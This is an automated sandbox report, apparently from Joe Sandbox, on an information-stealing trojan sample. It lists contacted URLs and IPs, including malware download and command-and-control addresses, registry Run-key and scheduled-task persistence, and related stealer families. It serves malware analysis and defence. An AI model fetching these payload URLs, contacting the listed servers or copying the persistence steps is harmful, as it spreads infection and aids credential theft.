https://sb.scorecardresearch.com/b?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
185.215.113.206/c4becf79229cb002.php	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731511550968&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731511548691&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://c.msn.com/c.gif?rnd=1731511548692&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=be3c4083b4ed4fbea41c70caa22e4593&activityId=be3c4083b4ed4fbea41c70caa22e4593&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1DE24314577C4C24ACA0B89F4370084C&MUID=2B7552435FBF62BD3EE147755E31634B	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731511551652&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://play.google.com/log?format=json&hasfast=true	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/	false	Avira URL Cloud: safe	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false		high
https://sb.scorecardresearch.com/b2?rn=1731511548693&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B7552435FBF62BD3EE147755E31634B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	false		high
http://www.broofa.com	chromecache_470.11.dr	false		high
http://ip-api.com/line/d	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dllO1	file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe%	skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://msn.comXIDv10R	Cookies.16.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php=C	file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log9.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
https://dev-marcepan.grupa-abs.pl/TWq	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe;	skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.15.dr	false		high
https://dev-marcepan.grupa-abs.pl/	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
http://147.45.47.61/uu	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe7	skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.autoitscript.com/autoit3/	oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://docs.google.com/	manifest.json0.15.dr	false		high
http://31.41.244.11/	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dll2	file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ip-api.com/line/5	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	manifest.json0.15.dr	false		high
http://ip-api.com/line/d-	591832b8e5.exe, 00000024.00000002.2463587234.000001E875A51000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ip-api.com/line/Am	591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe.46	skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	false		high
http://147.45.47.61:8888/6621357ed8034a07b39d14	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/line/m%	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000001.00000002.1758567828.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		high
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	false		high
https://dev-marcepan.grupa-abs.pl/0W	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.15.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.15.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	false		high
http://185.215.113.206/c4becf79229cb002.php)	file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.autoitscript.com/autoit3/X	oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exeI0	file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://nsis.sf.net/NSIS_ErrorError	oi.exe, 0000002C.00000000.2486798896.0000000000408000.00000002.00000001.01000000.00000011.sdmp, oi.exe, 0000002C.00000002.2527905219.0000000000408000.00000002.00000001.01000000.00000011.sdmp, oi[1].exe.34.dr, oi.exe.34.dr	false		high
https://assets.msn.com	ad03f86d-ad22-4ca0-be69-97b136bd7cbd.tmp.16.dr, 8db9bd33-bf63-48fa-a833-052927bad9eb.tmp.16.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.1.dr	false		high
http://31.41.244.11/files/random.exe131	skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.15.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	false		high
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/l	591832b8e5.exe, 00000024.00000002.2463587234.000001E8759FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.15.dr	false		high
http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.google.com/chrome	content.js.15.dr	false		high
http://ip-api.com/line/j-	591832b8e5.exe, 00000024.00000002.2463587234.000001E875A51000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/A	591832b8e5.exe, 00000024.00000002.2463587234.000001E875A83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dllZ)E	file.exe, 00000001.00000002.1729321166.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ip-api.com/line/RUBYUA73686B262827413CAFE9981D71660D60X0dCSAxtHQcGDxwDAR8HdG9wdAMBAAl8GAcABAF	591832b8e5.exe, 00000024.00000000.2433506280.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, 591832b8e5.exe, 00000024.00000002.2474348449.000001E877730000.00000004.00000020.00020000.00000000.sdmp, 591832b8e5.exe, 00000024.00000002.2477775059.00007FF72B40D000.00000002.00000001.01000000.0000000F.sdmp, exploma.exe.exe, 0000002B.00000000.2478294436.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe, 0000002B.00000002.2538966832.00007FF7A239D000.00000002.00000001.01000000.00000010.sdmp, exploma.exe.exe.36.dr, 591832b8e5.exe.34.dr	false		high
https://chromewebstore.google.com/	manifest.json.15.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.15.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.15.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000022.00000002.2541440931.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://chrome.google.com/webstore/	manifest.json.15.dr	false		high
http://185.215.113.206rontdesk	file.exe, 00000001.00000002.1727423799.0000000000E55000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpT	file.exe, 00000001.00000002.1753904374.0000000023E4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206s	file.exe, 00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marcepdev-marcepan.grupa-abs.pl/oi.exen	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
http://ip-api.com/line/dll	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
http://147.45.47.61:8888/662135	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/573ef1	591832b8e5.exe, 00000024.00000002.2463587234.000001E875A79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.61/	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.61:8888/6621357ed8034a07b39d149a6f3e52d8/zkT-	exploma.exe.exe, 0000002B.00000002.2532774648.0000025788F60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev-marcepan.grupa-abs.pl/emp	skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/edge/ntp	000003.log9.15.dr, 2cc80dabc69f58b6_1.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.198.7.166	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
18.65.39.56	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
3.168.2.84	unknown	United States	16509	AMAZON-02US	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.78	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
51.132.193.105	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.247.123	unknown	United States	16625	AKAMAI-ASUS	false
212.87.244.196	dev-marcepan.grupa-abs.pl	Poland	25084	CZESTMAN-COM-ASNon-academicASdedicatedtoMetropolitanAr	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
4.153.29.52	unknown	United States	3356	LEVEL3US	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.211	unknown	United States	20940	AKAMAI-ASN1EU	false
147.45.47.61	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
23.192.223.230	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.8
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555161
Start date and time:	2024-11-13 14:40:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@89/321@29/30
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 64.233.166.84, 216.58.206.46, 34.104.35.123, 142.250.186.131, 142.250.186.42, 142.250.184.234, 142.250.186.106, 142.250.184.202, 172.217.16.202, 142.250.181.234, 142.250.186.74, 142.250.186.170, 142.250.186.138, 172.217.16.138, 142.250.185.202, 172.217.18.10, 142.250.185.138, 142.250.185.170, 142.250.74.202, 142.250.185.234, 93.184.221.240, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.185.174, 13.107.6.158, 2.19.126.152, 2.19.126.145, 4.209.164.61, 2.18.64.203, 2.18.64.218, 2.23.209.132, 2.23.209.149, 2.23.209.137, 2.23.209.146, 2.23.209.145, 2.23.209.136, 2.23.209.133, 2.23.209.144, 2.23.209.141, 2.23.209.150, 2.23.209.152, 13.74.129.1, 13.107.21.237, 204.79.197.237, 23.38.98.75, 23.38.98.121, 23.38.98.70, 23.38.98.73, 23.38.98.68, 23.38.98.74, 23.38.98.72, 23.38.98.120, 23.38.98.66, 2.23.209.169, 2.23.209.157, 2.23.209.158, 2.23.209.175, 2.23.209.167, 2.23.209.161, 2.23.209.172, 2.23.209.164, 2.23.209.166, 2.19.126.157, 2.19.
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, time.windows.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsof
Execution Graph export aborted for target file.exe, PID 6720 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:25:50	API Interceptor	88x Sleep call for process: file.exe modified
10:27:02	API Interceptor	189x Sleep call for process: skotes.exe modified
10:27:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run exploma.exe C:\Users\user\AppData\Local\exploma.exe.exe
10:27:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 591832b8e5.exe C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe
16:26:05	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
16:27:29	Task Scheduler	Run new task: ZenFlow path: wscript s>//B "C:\Users\user\AppData\Local\FlowZen Dynamics\ZenFlow.js"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
20.125.209.212	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
23.198.7.166	https://careers.adobe.com/us/en/apply?jobSeqNo=ADOBUSR147673EXTERNALENUS	Get hash	malicious	Unknown	Browse
23.198.7.166	https://neon.ly/c2df7a96-7e7b-434f-8fbd-e7d0667e7df5#cl/4534_md/1110/5173/689/14/544786	Get hash	malicious	Phisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	18.244.18.122
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	18.245.60.53
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
chrome.cloudflare-dns.com	x.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
